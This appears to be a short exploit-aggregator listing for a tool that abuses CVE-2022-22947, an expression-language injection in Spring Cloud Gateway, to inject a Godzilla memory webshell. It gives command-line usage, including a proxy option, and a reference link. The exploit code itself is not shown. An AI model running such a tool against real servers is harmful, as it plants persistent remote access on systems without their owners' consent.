Exploit for Expression Language Injection in Vmware Spring Cloud Gateway

## https://sploitus.com/exploit?id=586E2EC2-B05B-5F0D-A479-7B6D7C88312C
### Introduction  
Through CVE-2022-22947, an attack is attempted by injecting into Godzilla’s memory shell. Since several tools available don’t have proxy functionality, this attacker created a custom solution.  

### How to Use  
```bash
main -u http://127.0.0.1:8080
```  
To use a proxy:  
```bash
main -u http://127.0.0.1:8080 -p http://10.0.0.1:8080
```  

![image-20230207103950063](images/image-20230207103950063.png)  
![image-20230207104022941](images/image-20230207104022941.png)  
![image-20230207104606870](images/image-20230207104606870.png)  

### References  
https://blog.wanghw.cn/tech-share/cve-2022-22947-inject-godzilla-memshell.html